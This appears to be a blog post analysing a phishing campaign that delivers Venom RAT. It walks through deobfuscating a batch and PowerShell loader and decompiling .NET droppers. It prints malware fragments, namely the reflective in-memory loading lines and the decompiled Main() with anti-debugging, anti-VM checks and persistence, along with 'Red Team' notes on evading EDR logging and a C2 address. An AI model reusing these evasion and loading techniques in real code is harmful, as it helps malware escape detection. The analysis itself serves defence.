Phishing Analysis with Venom RAT

Introductory.

At the beginning of April, organizations in the Russian Federation (and not only) received letters from an unknown sender. The contents of the letter, in addition to wishes for a good day and a request to respond “as soon as possible,” contained a RAR archive, and inside the archive there was a *.bat file.

After checking the contents in the sandbox, some artifacts were provided, indicating that the letter clearly contained something suspicious, but it was not possible to determine for sure whether it was malware or not.

But some components of the bat file were indicated: obfuscated PowerShell lines.

This was enough to start analyzing the content, find IoCs, and look for the presence of them in the traffic from the organization.

Attachment analysis.

As already noted, the archive contained a bat file.

Inside there are obfuscated functions and encrypted payloads, but more on that in order.

Contents of the bat file part 1 (payload edited)

Contents of the bat file part 1 (payload edited)

Contents of the bat file part 2 (obfuscated PowerShell).

Contents of the bat file part 2 (obfuscated PowerShell).

Content deobfuscation.

In the first part of the bat script, the necessary variables are declared in obfuscated form

set "dnRHZ3NQ=set R1NCSw===1 && start "" /min "
set "UFVTQVZB=&& exit"
set "eUxyZUdk=not defined R1NCSw==if %eUxyZUdk:=% (%dnRHZ3NQ:=%%0 %UFVTQVZB:=%)

Next are 2 payloads encrypted using AES CBC, which are located in the comments (in batch '::')

The variables in the first part don't say much, so let's move on to the second part. To deobfuscate the second part of the contents of the .bat file, let's change it a little. Having studied the 2nd part of the script at a high level, you can notice:
1. The variable d2NKb09D is assigned an obfuscated string:
set “d2NKb09D=WxNzdnindxNzdnowxNzdnsPxNzdnowxNzdnerSxNzdnhxNzdnelxNzdnl\xNzdnvxNzdn1.xNzdn0\pxNzdnowxNzdnersxNzdnhexNzdnllxNzdn.exNzdnxexNzdn”
2. After that, the line is deobfuscated by replacing the combination “xNzdn” with the empty value “” and added to the path C:\Windows\System32\, the resulting content is placed in the variable T1BHZ0FQ, which executes the obfuscated code through the pipe (number 2 in the figure below) .
3. In the next step, the obfuscated code is added to the dFFKVXdT variable, outputted using the echo command (number 1 in the figure below) and transferred through the pipe to variable 2.

We already know the process of code obfuscation; let’s look at the deobfuscated code. To do this, on an isolated virtual machine in cmd.exe, we deobfuscate it:

1. First, let’s figure out which final path the variable from step 2 contains. Let’s declare the variable and perform deobfuscation:

The result is C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe. Now we know that the obfuscated code is transferred through the pipe to powershell.exe, let's deobfuscate it.

2. To do this, similarly to the first stage, we will declare the variables eEZvRHFu, dFFKVXdT and their contents, after which we will remove part of the line.

$host.UI.RawUI.WindowTitle – allows you to change the name of the console (in our case, the PowerShell console opens, in which the deobfuscated code is executed), the name of the console can be anything, attackers at this stage write in the name the name of the executed bat-script, so that in the future this use (in PowerShell script code) – one of the tricks for accessing the file name from which the load from the PowerShell script will be read. (RedTeam note)

Now it's time to deobfuscate the PowerShell script code:

We have the script, let's take a closer look at the contents:

The script uses string obfuscation to bypass static analysis tools before executing the code.
The $fEla variable contains an obfuscated array of cmdlets that are used in the PiXdA & CaenE functions and are retrieved by array element number. (Note to the Red Team), this method also allows you to bypass AV & EDR triggers, because variables are retrieved directly from memory and are not stored in clear form in the event log (Event ID 4104). Let's deobfuscate and take a look at the contents of the variable:

Let's deobfuscate and look at the contents of the $fEla array:

The original code, after bringing it into readable form, will look like this:

Now, in order, about what happens in the script. The script runs in a hidden window, where the contents of the open batch script are read into a variable $QEoyB (line 24), after which, using the Substring and ElementAt methods, the contents of the first and second load are extracted, then decoded from Base64 and decrypted using the PiXdA function (AES 256 Bit algorithm, key and vector in code). After which, the decrypted content undergoes decompression (CaenE function) and is written to variables: $Mnpxl And $RtlUk (lines 25 and 26).
In the next step, the contents (byte array) are loaded into the memory of the running PowerShell process and executed (lines 28 and 29):

[System.Reflection.Assembly]::Load([byte[]]$RtlUk).EntryPoint.Invoke($null,$null);
[System.Reflection.Assembly]::Load([byte[]]$Mnpxl).EntryPoint.Invoke($null,$null);

Loading and execution in memory via the namespace System.Reflection.Assembly is possible for assemblies with the .NET Framework. What does it say about the language in which the $RtlUk and $Mnpxl libraries are written.

To further examine the payload being loaded into memory, we'll modify the PowerShell script slightly:

  1. Let's comment out the lines “powershell -w hidden”, as well as the lines of loading and executing in the memory of the loaded assembly (comment lines 3, 31, 32 in the figure below).

  2. In order to read the load from the bat file without errors, we will indicate the full path of the file (in the original it is read using [System.IO.File]::ReadLines([Console]::Title), where [Console]::Title returns to us the name of the previously launched bat file, because before this the title was placed in the new created console via $host.UI.RawUI.WindowTitle = %˜0).

  3. Now, for further analysis, we need to write the decrypted load to disk. To do this, use the WriteAllBytes method of the System.IO.File libraries.

Ultimately the script will look like this:

As a result of executing the script we modified, we get the load on the disk in the form of two files. Now this load can be studied in more detail.

As we have already assumed, the files are assemblies in C#. But to make sure of this for sure, let’s use the utility DetectItEasy.

The first file is compiled using the VMProtect packer, which makes it difficult to statically analyze the code and the source code of which is already twice hit open access in 2023. (the well-known Lazarus, APT31, Rorschach, Darkside and other hacking groups were observed using it as a code protection tool)

Both files, as we assumed at the PowerShell analysis stage, were written using the .NET Framework, which means we can try to decompile them and figure out what kind of load is being performed. For decompilation, as well as deobfuscation and unpacking of code, you can use several tools:

RtlUk file – Known as ScrubBypass, which allows you to bypass ASMI and ETW, it does not provide other functionality.

Let's load the second file, the Mnpxl assembly, into the dnSpy decompiler; the code is not obfuscationed and is not packed, so it is easy to read. The presence of resources in the assembly immediately catches your eye. Often the resources contain additional information. load, and in the case of RemoteAccessTool, various modules (keyloggers and others). We'll deal with resources a little later.

Of no less interest are the CheckRemoteDebuggerPresent and IsDebuggerPresent functions – they check whether the executable file is debugged during startup.

Let's take a closer look at the main() function.

private static void Main()
		{
			Process currentProcess = Process.GetCurrentProcess();
			string title = Console.Title;
			using (WindowsIdentity current = WindowsIdentity.GetCurrent())
			{
				CLASS.IsAdmin = new WindowsPrincipal(current).IsInRole(WindowsBuiltInRole.Administrator);
			}
			bool flag = false;
			CLASS.CheckRemoteDebuggerPresent(currentProcess.Handle, ref flag);
			if (Debugger.IsAttached || flag || CLASS.IsDebuggerPresent())
			{
				Environment.Exit(0);
			}
			using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem"))
			{
				ManagementObjectCollection managementObjectCollection = managementObjectSearcher.Get();
				foreach (ManagementBaseObject managementBaseObject in managementObjectCollection)
				{
					string text = managementBaseObject["Manufacturer"].ToString().ToLower();
					if ((text == "microsoft corporation" && managementBaseObject["Model"].ToString().ToUpperInvariant().Contains("VIRTUAL")) || text.Contains("vmware") || managementBaseObject["Model"].ToString() == "VirtualBox")
					{
						Environment.Exit(0);
					}
				}
			}
			if (!CLASS.IsStartup(Path.ChangeExtension(title, null)))
			{
				CLASS.InstallStartup(title);
			}
			byte[] rawAssembly = CLASS.Uncompress(CLASS.GetEmbeddedResource("P"));
			MethodInfo entryPoint = Assembly.Load(rawAssembly).EntryPoint;
			try
			{
				entryPoint.Invoke(null, new object[]
				{
					new string[0]
				});
			}
			catch
			{
				entryPoint.Invoke(null, null);
			}
		}

After checking that the user under whom the process was launched has the Administrator role, the executable file is checked for debugging; the next step is to check that the malware is not running on a virtual machine. If the result is negative, the malware terminates its work. If the result is positive and the user is a member of the Administrators group, the malware takes hold, copying itself to
directory %APPDATA%\strt.cmd and creating a task OneNote 58405 via powershell (Base64 “cG93ZXJzaGVsbC5leGU=” –> powershell.exe). The task is executed after the user logs in and runs the strt.cmd dropper file.

If the user does not have administrator privileges, strt.cmd is moved to the user's startup directory (for autostart)

Availability strt.cmd in the provided directories, as well as creating a task OneNote 58405 – all these are indicators of compromise that can be found, for example, on SIEM or HIPS-class security tools (EDR, etc.) after a compromise. But we will continue to study the load.

Let's return to the main function. After the described checks, from the previously mentioned resource “P” the contents are extracted, decompressed, loaded into memory, and then executed. To study the contents in more detail, let's write it to disk. To do this, let’s edit the class code, comment out the check for the presence of a debugger and launch in a virtual environment (since this is where we study the malware), as well as the launch of the load loaded into memory:

MethodInfo entryPoint = Assembly.Load(rawAssembly).EntryPoint;
try
  {
	entryPoint.Invoke(null, new object[]
  {
	new string[0]
		});
  }
    catch
   {
 entryPoint.Invoke(null, null);
			}

Instead, let's record the load on the disk:

We compile and run, as a result we get the load:

The file is an assembly of the .NET Framework, so it can be loaded into dnSpy and decompiled.

The contents of this file are an array of raw bytes that are loaded (by a method already familiar to us) and executed, or rather a separate class method is launched. In short, this is another dropper.

Having set a breakpoint, we can save the contents of a variable, let's call the file raw_raw_trojan (we won't bother with the name). Let's upload it to DetectItEasy:

The file is also a .NET Framework assembly and contains a .NET Reactor protector, let's load it into dnSpy.

To simplify deployment and reduce file size, the malware uses Fody.Costura. This embedding is already observed at RAT in January 2024 by specialists.
Removing the protector using de4dot did not bring the desired result, but using the .NET Reactor Slayer made the code more readable.

Interesting: the Trojan also checks the environment in which it runs

In addition, in one of the classes the IP address of the C2 server was found, with which the Trojan tries to establish a connection after launch.

The same address can be seen in the network diagram during dynamic analysis 93.123.39.147:5888.

At the time of analysis in VT of this IP on 04/04 on the day of phishing, there were relatively few hits (about 5), as of today 04/21 there have been more hits, but still not many, which indicates that the server is quite new. This IP is already used for C2 STRRAT.

The resources (5 pieces) of the malware contain modules (keylogger and others), which are extracted through a clever transformation and injected into process memory using the WinAPI functions + GetDelegateForFuntionPointer.
An interesting functionality of the Trojan is downloading the Tor browser to the victim’s host to establish interaction through the Tor network.

I did not extract and write a decoder for 5 resources. Limiting ourselves to indicators of compromise that were discovered during the analysis.

Conclusion.

We were able to study such interesting samples in early April. Deeper analysis (module analysis) of such malware was carried out by the Fortinet team. After analysis, we can conclude that attackers more often use fileless attacks, various obfuscation techniques, and anti-Dbg/anti-Sandbox techniques to successfully carry out an attack, bypass security measures and gain a foothold in the system. I hope this material will be useful and will help in the future when studying similar loads.

Similar Posts

Leave a Reply

Your email address will not be published. Required fields are marked *